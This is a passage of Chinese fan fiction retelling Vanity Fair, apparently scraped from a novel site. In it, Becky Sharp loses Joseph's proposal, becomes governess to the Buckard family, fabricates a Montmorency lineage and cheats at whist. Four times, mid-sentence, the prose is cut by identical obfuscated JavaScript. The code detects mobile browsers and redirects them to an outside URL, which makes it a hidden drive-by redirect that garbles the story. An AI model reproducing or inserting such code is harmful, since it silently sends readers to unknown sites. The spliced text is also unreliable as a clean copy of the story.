瑞蓓卡见状，简直也想给自己灌一大碗亚力潘趣，立刻醉倒不去看这场滑稽戏。 她完了，约瑟夫这幅样子，肯定想不起一点儿对她求婚的事。 爱米莉亚惊恐万状，紧紧拉住奥斯本：“咱们走吧！” 奥斯本站起来，拍拍约瑟夫，示意他离开，瑞蓓卡也跟着离座起身。 “等等，我最亲爱的宝贝小姐。” 约瑟夫喊住她，下一秒，他竟将她拦腰抱起来。 围观者全部哈哈笑起来，瑞蓓卡惊慌失措地挣扎，约瑟夫将她放下，继续喝一口酒，然后拉住他的手开始一遍遍表白。 当着这么多人，奥斯本和爱米莉亚又羞又恼。 瑞蓓卡起先因为那突然的失重感很生气，后来听到他的表白，既惊喜又恼怒。 围观者实在太多，乱哄哄地，不知因为什么起了争执，还好意志不知道去哪的杜宾上尉及时出现，赶走了所有围观者。 奥斯本先生让朋友留下来陪着约瑟夫，自己送她们离开，离开餐馆时，瑞蓓卡相信，自己确切听到，约瑟夫对杜宾说：“我决定明天就跟她结婚！可怜的姑娘，我太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918366|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨蹭了，伤害了她的心，她还以为我不爱她，……” 第二天，瑞蓓卡一早醒来，便站在自己的卧室窗前守望着，期盼那个硕大的身影出现。 然而等到的却是乔治·奥斯本。 他不知道从哪儿来的，似乎很高兴的样子。 知道他没有为哥哥昨晚的失态而生气，爱米莉亚松了口气。 瑞蓓卡却总觉得哪里不对劲，为什么来的是他？ 她现在的精神紧张又敏锐，一小点不对劲的事，都会引发无限的猜想。 “看样子，我们的胖收税官有着无限的魅力，能让夏普小姐脸色这么焦急。”奥斯本打趣道。 他刚刚解决一桩大事，内心非常轻松，否则的话，见到这个可能成为他嫂子的家庭教师，他决计不可能如此轻松愉快地开玩笑。 今天早上，奥斯本早早地往约瑟夫的公寓去了一趟。 “老实说，我并不希望未来的舅嫂是个家庭教师，如果你非要娶她，那我就不得不重新衡量与爱米莉亚的婚事。你该知道，咱们朋友的妻子都是出身名门，他们和他们的妻子，难道会愿意和一个家庭教师往来？” 奥斯本来了之后，没过多久，爱米莉亚收到哥哥写给她的一封信。 “亲爱的爱米莉亚： 昨晚的亚力潘趣使我的身体元气大伤，肝病复发，在这次假期结束前，我将一直待在苏格兰修养。请代我向夏普小姐请求原谅，请原谅并忘却我在情绪亢奋时的失态以及说过的每一句话……” 瑞蓓卡在其他房间，还不知情，爱米莉亚简直不知该如何告诉她这件事，该如何去面对她的朋友。 她随手将信一撂，伏在椅背上哭泣，奥斯本走过来，拉住她的手。 “我亲爱的爱米莉亚，你太好心了，你为什么这么自责呢？你的好朋友该有自知之明，她有心理准备的……” 听到爱米莉亚的哭声，正准备推门而进的瑞蓓卡，听到奥斯本的那句“自知之明”后，迅速认定这件婚姻就是他搅黄的。 哼，他那因为朋友摆脱一桩卑贱婚事的兴奋愉快的语气，除了爱米莉亚，谁都能听出来。 她不得不走了。 爱米莉亚翻遍所有橱柜，把所有能想到的女士必需品，全部配出一份，送给她，还去央求父亲，把他许诺她满多少岁就赠给她多少畿尼的钱，通通送给瑞蓓卡，还让未婚夫乔治·奥斯本也做一点贡献，在邦德街给瑞蓓卡买下店里最贵的帽子和短外套。 瑞蓓卡在适度的犹豫之后，照单全收，难舍难分地痛哭拥抱过之后，她发誓永远爱她的朋友，转身登上马车，便立刻擦掉眼泪，清点塞德立先生放在钱包里交给她的金币。 爱米莉亚十八岁，一共该是一百七十一枚金币，减掉爱米莉亚这些年来零零碎碎花掉的六十镑，一共还剩下一百一一枚金币。 她清点了半天，才确定数量无误，加上父亲留下的八镑和在平克顿女校赚到的一点钱，她现在的身价共有一百三十镑。 这可不是一笔小数目呢。 想到一百三十镑里塞德立先生出了不少力，她的箱子也不像来时那样空瘪，而是装满友人的馈赠，她稍稍感到些安慰，虽然没能嫁给那个胖家伙，但是这趟的收获并不少。 等去到汉普郡的罗姆塞，她必须继续与爱米莉亚保持联系。 8. 第 8 章 马车快到达驿站时，她将这袋稍微晃动就叮当作响的金币，塞到随身携带的旧牛皮箱子里，等待车夫开门。 然而那个车夫却没有打开车门，也没帮她把马车后面绑着的其他行李卸下。 车夫走到车窗前说：“小姐，你在拉塞尔广场住那么久，我成天到晚驾车，载你去剧院、商店、舞会，你从没给过我一次赏钱，我知道你之前没钱，但现在你从塞德立先生那拿到不少钱，是不是该赏我几个钱，好报答我付出的劳动？” 瑞蓓卡狠狠地瞪他一眼，猛地推开车门，艰难地拖着随身携带的箱子、装着奥斯本送她帽子和衣服的礼盒，走下车。 “我要写信把你的行为告诉爱米莉亚！” “你放心写吧，小姐心肠软，总会原谅我们的。” 见威胁无用，她把箱子放在地上垫着，放下手中的礼盒，转身到马车后面取下大件行李，宁愿全身挂满行李，坠得身体左偏右歪，也不愿意掏出一个便士。 “怪不得大家都说你难对付，怎么都榨不出油水，哼，好好抱稳你的行李吧，里面那些衣服本会给太太的贴身女佣的，便宜你了！” 车夫一边赶车离开一边嘟囔着说。 瑞蓓卡感到不可思议，她一直以为自己在仆人那儿很受欢迎，她对待他们如朋友，没想到他们竟这样看待她！ 也对，像那种小人物，永远不会对一个没钱没势的小姐产生尊重。拿不出赏钱，她再友好亲善，。 车站人来人往，她无法分批把行李拿到前往罗姆塞的马车那里，只好干站在原地。 瑞蓓卡大可以把行李全部放在地上，但她紧紧地拿着装钱的箱子，右手也没空着，连中指都没闲着，伸到礼盒上的蝴蝶结上，挑起礼盒。 她故意把自己弄成一副窘样子，挤出几滴泪水，半哭不哭地站在那儿。 每个路过的人，都要经过这双强忍泪水的绿眼睛的洗礼， 差不多盯到第四个路人时，路人终于不抵绿眼睛的威力，殷勤地跑来帮她拎起另外那只箱子和礼盒。 前往罗姆塞的公共马车，车厢里已经坐满人，她不得不坐在车顶。 其实她有那么多钱，大可以掏出几个畿尼，阔气地买下车厢内某个人的座位，如果她肯出这些钱的话，她相信一定有人同意把座位给她。 但她是绝对不会为此多掏钱的，这种阔气的行为永远和她不相干，即使她身价上万，她也绝不可能多花一分钱。 此时此刻，她为自己小气的行为，找到一个非常恰当的理由，那就是单身小姐不易在外露财。 关于她即将工作的那户人家，瑞蓓卡跟塞德立夫妇打听过，他们的答复是：从未听说过，想来不是什么显赫人家。 有着这个前提，她一路上都打不起什么精神。 抱着布克德太太可能是个小农场主的妻子的最坏念头，在罗姆塞驿站，看到布克德太太派来接她的两个车夫、一个听差，以及驷马马车时，瑞蓓卡何止是喜出望外。 爱米莉亚家的马车，约瑟夫先生的马车，包括奥斯本先生的马车，都只是两匹马拉车，布克德太太家里得多么富有？ 她试图从脑子里找到马车每年的使费，借此判断布克德家的财富，却没能找到任何信息，她对此一点儿也不了解。 不过她知道，爱米莉亚的嫁妆是一万镑，对比下来，布克德小姐的嫁妆至少不低于两万镑。 按照子女平分财产、布克德太太还有一两个孩子的情况计算，这户人家至少有四五万镑的存款。 那得是个相当大的地主了吧？ 然而当马车真正靠近庄园，她发觉她还是大大低估了布克德家的权势。 为什么说是权势？ 瑞蓓卡相信，那接近两英里宽的林场、看不到尽头的田地、宏伟不输任何贵族宅邸的哥特式城堡，绝不是有钱就能买得到的。 这么看来，平克顿小姐对她还算不错，没有故意刁难她，虽没有为她找一户贵族人家，但这家人的财富权势也不输给贵族。 怀着雀跃的心情，她来到城堡内部。 女管家詹金森太太，引着她穿过方形大厅，从外面看上去，这座建筑像是十六世纪流行的风格，窗子很窄小，里面的光线果然不好，还没到傍晚，枝形蜡烛吊灯已经全部点亮。 空旷的的大厅和宽敞的走道，有种凄凉孤寂的感觉——忽略掉来往仆人充满喜气的表情的话。 瑞蓓卡想，布克德太太一定是个很宽和的女主人，不然仆人们绝无法整天这样乐呵呵的。 能有一个轻松的工作氛围当然好，只是她注意到一个奇怪的地方。 自从走进这栋屋子，她看见的所有仆人，无论男仆女仆，年老或是年轻，都长得很漂亮。 这种漂亮绝不是巧合，她从没在其他任何地方见过这么多漂亮的人凑在一块儿，即使是跟着爱米莉亚参加市政长官家的舞会，那里的年轻男女，外貌俊美的人，也没有这里的漂亮仆人多。 难道罗姆塞这个地方和别的地方不同，专门盛产美男美女？ 这并不能作为问题的答案。 罗姆塞人也是英国人，属于盎格鲁-撒克逊人种，与其他地方的人区别能多大呢？ 在索霍区接触的所有人种里，从比例上来看，英国人的长相实际上是长得奇奇怪怪者多，远不如意大利人或是日耳曼人长得漂亮。 经过该家族至少四代人的画像后，瑞蓓卡抵达布克德太太所在的起居室，詹金森太太敲敲门，握住镀金门把手，拉开那扇一半镶着玻璃的门。 “夏普小姐到。” 布克德太太比她想象得要年轻，看上去只有四十岁，穿着白色开司米外扣粉红结的梳妆衣，黑色的鬈发随意地在脑袋后盘了个髻，像是午睡刚醒还没来得及穿衣打扮的样子，懒懒地靠在沙发上。 对方一见到她，非常惊喜地将她从头到脚打量一番：“平克顿小姐没告诉我，你竟然长得这么漂亮！这下好了，我不用担心她给我派个——” 说到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918367|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里，布克德太太顿了顿，露出一个尴尬地笑容， “布克德太太，您可以放心说下去，我不会告诉平克顿小姐，正好，我也想知道外人对平克顿女校的看法，因为我恰好对那儿也有些想法。” “你也是平克顿女校毕业的？” 瑞蓓卡不清楚自己的情况，算不算得上是平克顿女校的毕业生，法语教师的身份，似乎更贴合实际，但她毕竟也在那儿接受过一点教育，听布克德太太的口风，她曾经也是那儿的学生。 她点点头。 “我也是那儿的学生，不过我只在那所学校待了半年，说实在的，我受不了那里修道院式的气氛，每天按时祷告、吃饭、上课、散步，无论走到哪里，都有老师看着你，都有说不完的这不许做那不许做……” “那半年简直是我最糟糕的记忆，我天天都给爸爸妈妈写信，让他们带我回去。我姐姐也在那里，她死活都要留我作伴，每次我写信抱怨，她便写信称赞那里，导致我离开学校回家，已经是半年后的事。” 见瑞蓓卡听到对平克顿女校的抱怨，没有半点儿不满，估计她对这所学校的评价也不高，布克德太太高兴地拉着瑞蓓卡，让她坐到自己身边。 本是想表示亲近，方便继续向瑞蓓卡倒苦水，但她凑近那抹怡人的绿色时，瞬间把想说的怨言给忘干净了，只顾着欣赏。 “有没有人说过，你有一双很漂亮的眼睛？” “有，但您是一个这样称赞我的女性。” “那这真是我的荣幸，我知道我很擅长捕捉美丽，美丽的东西能让我心情愉快。你看看屋子里的佣人和装修，就能知道我说的不是假话。” 瑞蓓卡忍俊不禁地笑起来：“恕我直言，太太，您就是美丽的本身啊，如果我是您，才不必到处捕捉美，我只需要每天照上一个钟头的镜子，我就会非常高兴。请问您是三十几岁呢？” “你也太会夸人啦，我经常听人说我看上去只有四十岁，三十几岁这种说法还是第一次听。” “那可能是我见过的三十几岁的人不如您天生丽质吧。” 两人又凑在一起，互相称赞两句，直到觉得差不多了，瑞蓓卡才提起布克德小姐的事。 “詹金森太太，请你把蕾妮请过来见见她的老师。” “蕾妮（法语）？法语名字？” 布克德太太喜出望外：“你很擅长法语吗？” “当然，我是英法混血，我的母亲是法国蒙默朗西家族的后裔。” 布克德太太握住她的手，声音因为激动变得很尖细：“我也是英法混血，我母亲达勒姆伯爵夫人，是瓦勒尼埃家族的女儿，咱们有亲戚关系呢！” 瑞蓓卡愣了愣，一时间不知道这是好事还是坏事，对于母亲的出身，她虽然时常提起，但其实并不明确，更不了解，甚至，她都不知道这到底是真的还是假的。 如果布克德太太要跟她聊这些事，她该怎么回应？要是她什么都回答不上来，会不会被当成是骗子？ 9. 第 9 章 瑞蓓卡担心的事情并没有发生，两人还没来得及说更多，蕾妮·布克德小姐来了。 布克德太太为她做介绍。 她忙站起来，半蹲保持平视蕾妮的高度，笑盈盈地看着她，伸出手：“你好，布克德小姐。” “不是布克德小姐，你应该叫我蕾妮舰长，不然我不会跟你握手的。” 蕾妮目不转睛地观察着对面的人。 那个新来的家庭教师先是讶然一笑，突然猛地站直身体，双脚迅速并拢，发出清脆的碰击声，右手五指并拢掌心朝下，举在眉毛边上，行了一个不那么标准的海军军礼。 “好的，蕾妮舰长！” 瑞蓓卡没有立刻把手收回去，她始终面带微笑地看着蕾妮，蕾妮却没有预料中的反应，不笑，也不说话。 为了不使自己的努力白浪费，她心情紧张，带着期望，将这个行礼的动作保持了五秒钟。 在她准备放下手时，蕾妮忽然指指眉毛。 她立刻反应过来，右手凑近眉毛，直到手指轻轻碰到眉毛。 蕾妮朝她伸手，手的位置大约在蕾妮头顶往上一点，靠近她的胃部，使她不必半蹲下来握手。 “现在我们能握手了。” 瑞蓓卡握住那只小手，上面的细茧，很明显不该出现在这个阶层女孩手上。蕾妮手背的肤色也有些深，与手心的颜色形成鲜明对比，像是晒出来的。 布克德太太看着蕾妮，一脸无可奈何：“她的性子很古怪，如果你看到她在屋外面玩的疯样子，你会觉得她现在这点顽皮还是好的。自从看过《女船夫》①，又不知道从哪里听说珍妮·□□②的故事，她天天幻想着驾驶舰船环游世界。” 说起蕾妮的情况，女管家十分有眼色地，将蕾妮哄到餐厅去吃水果布丁和葛缕子蛋糕。 “其实谁没点怪癖呢？我从不因为她这点古怪有什么问题，既然玛丽·莱西和珍妮·□□可以做到，蕾妮当然也能做到，如果哪天她化名威廉约翰什么的，跑去参加船员考试，我也不会因为女儿的离开哭天喊地。” “但是这有一个前提，前提是她能活到成年参加考试，前段时间她在庄园后面的湖里偷偷划船，掉进水里差点淹死。我实在气得不行，发誓要给她找一个天底下最严格的家庭教师，来看管她，于是给平克顿小姐寄信，请她派一位教师来。” “我以为那儿的教师肯定都是，严肃又严格的家伙，当时我也确实是那样期盼的，但是这几天来，我又慢慢心软了，蕾妮的确顽皮，但不该被这样对待，我也不希望庄园漂亮快乐的仆役中，挤进一个总板着张脸打扮像修女的人，现在看到你，我算是彻底放心……” ………… 聊着聊着，天色将晚，女管家过来通知晚餐已经准备妥当 布克德太太看看屋外的天色，十分惊讶，她又转头看看瑞蓓卡。 后者刚刚经历舟车劳顿，听她聊了一下午，竟然依旧神采奕奕，一直是一副很乐于倾听的样子，大概是她说话太幽默风趣，致使对方听得忘却疲劳。 “哎，有时候口才太好，也有坏处。你听得太忘情，甚至忘记了疲惫，但凡你表现出丁点儿疲劳，我一定会记得让管家带你去卧室，现在弄成这个样子，让一个旅人坐在这里听我讲这么久飞花，真是失礼。” “哪里的事，我一点儿也不累，伦敦到罗姆塞的路修得极好，除了几个小村镇，一路平坦无颠簸，我欣赏着沿路的风景，还没感到疲倦就到了。” 布克德太太点点头，她喜欢精力充沛的人，瑞蓓卡看上去又矮又瘦，脸色很苍白的样子，精神倒很足，从那双绿眼睛里就能看出她身上有股劲头。 “詹金森太太，你带夏普小姐去换衣服吧。” 瑞蓓卡感到很惊喜，布克德太太是把她当客人看待了，还让她换上晚装跟主人们一起吃饭。 来之前，她听说过不少家庭教师的惨淡待遇，其实也算不上惨淡，家庭教师本就跟高级仆人没什么区别，只是有少部分家庭会格外善待教师，在那种善待的对比下，某些家庭教师在看重阶层和规矩的主人家，遭到的对待就显得很惨了。 “你有吃完饭穿的衣服吗？” 她很想说没有，借此让布克德太太送她几件衣服，但现在布克德太太对待她像客人，两人又有亲戚关系在，她该拿出点真正实力，用爱米莉亚送给她的衣服首饰，认真装扮一番，好坐实她蒙默朗西家族后裔的身份。 权衡利弊之后，她回答道：“有的，太太。” 布克德太太问女管家：“二楼应该有干净的客房吧？” “女佣们十分钟便能收拾出一间完美的客房。” “那很好。我与夏普小姐很投缘，你叫什么来着？” “瑞蓓卡，您也可以叫我蓓姬。” “很好听的名字，”布克德太太点点头，继续吩咐管家，“我与蓓姬很投缘，她的母亲与我的母亲有亲戚关系，以后夏普小姐就是这里的客人，你们要用对待客人的态度对待她。后楼原本准备给夏普小姐的房间不需要了，你快点收拾出一间客房。” 吃完饭的时候，布克德太太很高兴，喝了很多白葡萄酒。 眼看着布克德太太双眼迷离，已经喝醉，瑞蓓卡才敢放心问起那所谓的亲戚关系，究竟是怎么一回事。 “我母亲的表姨曾经嫁到那个家族，具体嫁给谁我记不清。” 瑞蓓卡觉得以布克德太太粗枝大叶的性格，能记得这些，已经很不错。 虽然不是她期待的那种可依靠的近亲——其实，她知道这不可能，如果有显赫近亲在英国，她母亲也不至于沦落到跳舞剧。 但是布克德太太连法国那边如此远的亲戚都记得，肯定是相当热爱血液中除了英格兰的另一半。 她认为想讨好布克德太太，大可以往这个方向尝试。 躺在床上，被枕头里的薰衣草干花香气熏得昏昏欲睡时，她想布克德太太如此看重她，一定是因为这个原因。 既然布克德太太觉得她出身还不错，把她当客人，说不定她能在布克德太太的引荐下进入罗姆塞的社交圈。 瑞蓓卡一直自诩聪明，很少出现过判断错误，除了约瑟夫那回事，没想到现实再次给她一项重击——布克德太太很少问起瑞蓓卡出身名门的母亲，几乎毫不关心她的出身！ 她对她的喜爱，不是因为她有贵族血统，也更不是因为她们八竿子也打不到的亲戚关系，完全是因为她那双绿眼睛！ 布克德太太有个怪癖，她喜欢和漂亮的人往来。 无论是结交朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918368|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，还是聘用下人，她的标准都只有一个，那就是外貌。 长得好看的人在她这里总有特殊优待和无限宽容。 在她来到的四天里，布克德太太每天都要宴客，有几个漂亮的面孔是里面的常客，佣人们说，那是庄园原本的主人，准男爵朗弗罗一家。 布克德太太很讨厌朗弗罗一家，但他们家的人全都长得很漂亮，朗弗罗小姐，更有罗姆塞第一美人的名号。 因为这个原因，布克德太太即使讨厌他们，也经常邀请他们做客，除非她实在烦他们烦得受不了，才会冷落他们几天。 前段时间她有一周没邀请朗弗罗小姐，现在估计又得连着见她五六天，才会厌烦。 这四天要待客，瑞蓓卡只能跟蕾妮在一间小餐厅用餐，然后再陪她在第二起居室玩耍一会儿。 大多时候，她只是看着蕾妮制作舰船模型，因为这个，她才明白蕾妮为什么手上有茧——蕾妮会一些简单的木匠活。 对于蕾妮的这些古怪爱好，布克德太太声称爱女心切，不愿意约束她。 瑞蓓卡却通过观察发现，不是布克德太太不愿意约束蕾妮，而是她压根没有时间管她。 布克德太太很少在十点前醒来，稍微梳洗后，十一点吃早餐，下午的时候，她要处理信件和庄园里的一些事。 由于不擅长也不喜欢俗务，她常常忙一会儿就想去做别的事情，干一会儿其他事，又回折回去忙正事。 如此反复循环的结果是，效率奇低，更加加重她对这些必要工作的厌恶，开始习惯性地拖延，直到拖到不得不处理时，才手忙脚乱。 无论她下午是否打算准备工作，每个下午都会被低效率和拖延心理浪费。 晚上的时候，她照例要请客吃饭。 四天的时间里，瑞蓓卡从没见她抽出一点儿空关心蕾妮，不仅仅是对蕾妮受教育情况的关心，连日常生活的关心都很缺乏。 既然做母亲的不关心自己的女儿，又曾告诉她可以放任蕾妮自由发展，瑞蓓卡也乐于偷懒。 她很少把蕾妮拘在教室的课桌前，总是放任蕾妮玩耍，随性地向她灌输一些知识。 每当蕾妮坐在马夫牵着马上，或是在屋子里忙木匠活时，她要么打开随身携带的书本，要么向佣人们打听庄园的情况。 得知庄园之所以能在布克德太太的管理下，还能如此井井有条，是因为布克德太太有个精明的儿子，阿尔文先生每个月会回来查看情况，而这个月他刚刚来过，最近不会再回来，瑞蓓卡萌生出一个念头。 最近她在诺斯菲尔德庄园的藏书中，发现一本记录法国贵族谱系的书，里面记载着蒙默朗西家族和瓦勒尼埃家族的谱系，她每晚都彻夜苦读。 既然布克德太太无意将她引荐到上流社会，那她完全可以靠自己努力。 第五天，布克德太太照例请人来吃饭。 瑞蓓卡把蕾妮的睡前故事书，放到第一起居室某个不起眼的角落，待会儿吃完饭的客人们，将聚在这里，而她要借着拿书的机会，尽量留在那里。 她相信自己的名声，能在罗姆塞一炮打响。 以布克德太太对她的喜欢，如果客人们能接受她的存在，布克德太太一定愿意在每晚的宾客名单中加上她的名字。 10. 第 10 章 身旁的蕾妮发出平稳的呼吸声，瑞蓓卡小心翼翼地下床，帮她掖好被子。 她理理裙子上的褶皱，走到梳妆镜前，检查自己的穿着。 厚重的窗帘几乎阻挡了所有亮光，蕾妮的卧室里黑漆漆，她只能看到一双绿莹莹的眼睛，像潜伏在黑夜角落里的猫。 她站在二楼的橡木楼梯上，偷偷观察楼下的情况。 布克德家祖先们的画像，就在她背后，一想到要顶着这些画像的注视，在画像后人面前搞鬼，她忍不住笑起来。 起居室的门紧关着，女管家詹金森太太和一个小女佣，站在门外。 过了一会儿，詹金森太太嘱咐小女佣几句话，转身离开。 趁着这个机会，她忙快步下楼。 “夏普小姐，您怎么会到这儿来？” “布克德小姐的一本书落在里面了，她习惯在睡前听我念书。” “您还记得放在哪儿吗？我帮您进去拿。” “我不记得了。” 女佣面露难色。 “不用麻烦你，我可以自己进去拿。” “里面都是客人，打扰他们很不合适，不如你等詹金森太太回来，问问她的意见吧。” “你可以进去悄悄请示布克德太太，我担心蕾妮等急了，会自己跑下来进去拿。” 见她把布克德小姐搬出来，女佣没办法，只好推门进去，询问布克德太太。 瑞蓓卡在门外等待时，詹金森太太回来了，看到她立刻皱起眉毛：“你怎么在这里？布克德小姐睡着了吗？” 咔哒，门被推开，女佣走出来：“可以进去了。” 她冲詹金森太太笑笑，没有回答。 瑞蓓卡很想将所有宾客都看得清清楚楚，看清楚里面有几个大人物，几个年轻单身汉，但她不能。 她低头冲所有人行礼，低沉的男人交谈声和女人清脆的笑声，戛然而止，她站起身时，瞥到有几个人点头回礼。 其余的人都拿一种怪异地目光盯着她看，仿佛她是突然出现在人群中的猩猩，那样不合时宜。 “这是蕾妮的家庭教师，夏普小姐，她母亲是蒙默朗西家族的后裔，算是我的远房表亲。”布克德太太为她做介绍。 这短短的几句话，像是魔术师轻轻挥动魔术棒，周围的人全都为之意动，再看向她时眼神多了几分尊重，只是这尊重不知是发自内心，还是出于社交需求或礼节的面具。 不过，连瑞蓓卡自己都有受到这句话的影响，那些从书本上看到的外祖家的事迹，立即清楚地浮现在脑海中。 “您的府上还真是藏龙卧虎，没有一个无名小卒呢！区区家庭教师，也都是贵族后代！”一个打扮简朴的年轻男人恭维道。 “朗弗罗先生，你也太抬举啦！” 布克德太太高兴地朝她挥挥手，示意她过去。 “这是准男爵也是本教区牧师，朗弗罗先生，还有他的母亲朗弗罗夫人，妹妹朗弗罗小姐。这位是特纳将军，还有特纳小姐和特纳先生……” 堂堂准男爵，竟然屈尊跑来罗姆塞当一个牧师？ 瑞蓓卡不再把注意力放在朗弗罗家身上，而是观察起特纳一家。 特纳小姐和特纳先生很年轻，大概是刚成年的样子，因此，特纳将军看上去没有那么老，也没那么难看。 他的身形很挺拔精神，总体上透露出一股愉快气息，这样一来，衬得他的一双儿女眉宇间的忧郁萎靡，更加明显。 “我以为蒙默朗西家族在1632年后已经没人了。”将军说。 “是的，将军。第四代蒙默朗西公爵在1632年，因为反叛红衣主教黎塞留被处死，头衔传递给公爵的妹妹孔代亲王妃，但第四代蒙默朗西公爵还有一个女儿，嫁给我的先祖昂特勒夏伯爵。” “大革命前，我的母亲曾是昂特勒夏女伯爵。” 将军点点头：“那你与布克德太太的亲戚关系是怎么来的？” “她应该什么都不知道，连我都不确定，那些亲戚关系都是多少年前的事了，夏普小姐又生在大革命后……”布克德太太冲他摇摇头。 怪不得布克德太太从不问她这些事，原来是觉得她不知道，在找到那几本介绍贵族谱系的书之前，她确实对此一无所知。 但是现在，她准备好了，她会让他们相信自己是这个显赫家族的后裔，也会让布克德太太相信她们的确存在亲戚关系。 瑞蓓卡露出一个微笑：“这段关系非常远，如果不是与布克德太太见面那天，听她提起，我自己大概很难想起这段关系——布克德太太的表姨祖母，是孔代亲王妃的养子卢森堡公爵的第二任妻子，也就是先祖的表嫂。” “蓓姬！你说得对，我记起来了，好像是这样……” 这段对话进行到现在，许多客人已经听得头晕眼花，被乱七八糟的贵族关系绕晕，只觉得耳边全是王妃、公爵、伯爵等显赫人物。 不管这个小个子家庭教师，与布克德太太究竟是怎样的亲戚关系，总之她的外祖母家绝对如雷贯耳，是个响当当的名门望族。 这些宾客们虽然不擅长梳理家族谱系，也不像将军那样了解蒙默朗西这个拥有众多杰出军事人物的家族，但他们没有一个不擅长计算利益得失。 夏普小姐已经落魄，贵族的关系网却还在，不知道在什么场合很可能就会派上用处。 比如说现在，这不就派上用场了吗？ 将军听到她的回答后，很明显要抬举她，布克德太太看样子，肯定要认下这份亲戚关系。 虽然她不是什么重要人物，但她有点背景，又擅长与人攀关系，说不定哪天他们想与哪位大人物结交时，能用得到她的这份关系网，英国贵族里与法国贵族有过联姻的人可不少哩！ 一时间，人们看向瑞蓓卡的眼神，热切不少，她感到很受用。 但宾客之中不买她账的人，也大有人在。 “刚才来的女佣说，你要进来拿书去哄布克德小姐睡觉，你看上去似乎一点也不着急办这件事，仿佛是来这里交朋友的，社交需要的时间，可远比拿本书要多，希望布克德小姐不会着急。”准男爵的妹妹朗弗罗小姐说。 “我离开蕾妮的卧室时，她已经快睡着，只是还固执地让我来拿书，我告诉她书在起居室里，起居室现在都是客人，去那里拿书不会很快，我拿到书回去时，她很可能已经睡着，但她还是让我来拿——” “哦，蓓姬，不要管蕾妮了，她现在肯定睡着了，你干嘛不留下来跟大家一起玩呢？”布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918369|160310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克德太太收到老朋友特纳将军的示意，出声将瑞蓓卡的话打断。 其实，她第一次见到瑞蓓卡，便觉得她将是社交界的宠儿，那种不卑不亢又圆滑的姿态，和伶俐讨巧的口舌，很适合交际场。 只是无奈瑞蓓卡的身份太低，贸然将她引荐给她的朋友们，她担心朋友们会介意。 现在好啦，大家都没什么意见，特纳将军看上去还很喜欢她。 布克德太太很高兴，她不容瑞蓓卡拒绝，拉拉铃，告诉詹金森太太，请她派人去看着蕾妮睡觉，今晚夏普小姐要跟她们一起玩儿。 年轻人都围在钢琴边上，会弹琴的小姐们排着队，等着轮到自己展示琴艺和歌喉，除了特纳小姐。 特纳将军和布克德太太提议打牌，瑞蓓卡听着她们的弹唱，觉得比自己差远了，有意大显身手，给人们留下深刻印象。 但她的保护人布克德太太，和目前对她最友好且地位不低的将军，都想打牌，她也只好陪他们去打牌。 玩的是惠斯脱，她与布克德太太同一阵营，对家是将军。 她感到有些为难，是该假装不谙此道，让将军赢，还是将那些年在索霍区从父亲和朋友身上学会的赌牌技巧，毫无保留地使出来，让布克德太太赢？ 很快，她发现自己压根不能放水，将军的牌技简直好得出奇，第一轮开始还没多久，她和布克德太太就输了。 布克德太太的对家笑笑说：“将军还不是将军的年轻时候，是伦敦各大赌场酒馆里的常胜将军，现在则是名副其实的常胜将军，在军事上如此，在牌桌上也如此。” “蓓姬，早知道你的水平这么差，我应该和你打对牌，和将军一组，这样我就能每场都赢了。” 布克德太太的抱怨，激起她的胜负欲，她看看特纳将军，后者一副满不在乎的模样，她率先出手，将牌桌上散乱的扑克牌收拢起来，重新洗牌。 “太太，您知道的，我刚从平克顿女校出来，那里压根没机会玩牌，这可是我三年来第一次摸牌，我在那儿没给关傻，还能分得清JQKA哪个更大已经很不错啦。” 一听到平克顿女校，布克德太太立刻心软：“没关系，我们慢慢玩。” 她笑嘻嘻地拖长调子抱怨平克顿女校，趁着没人关注，切牌时偷偷看清最后位置的将牌的花色。 牌局还未开始，大家还没分好牌，她已经抢占一步先机，后来与布克德太太的配合，亦是天衣无缝。 连胜两把之后，对面阵营不愿意再让她洗牌。 瑞蓓卡渐入佳境，正向趁着这次洗牌，试试控牌呢，却不想将军看出端倪，不让她洗牌。 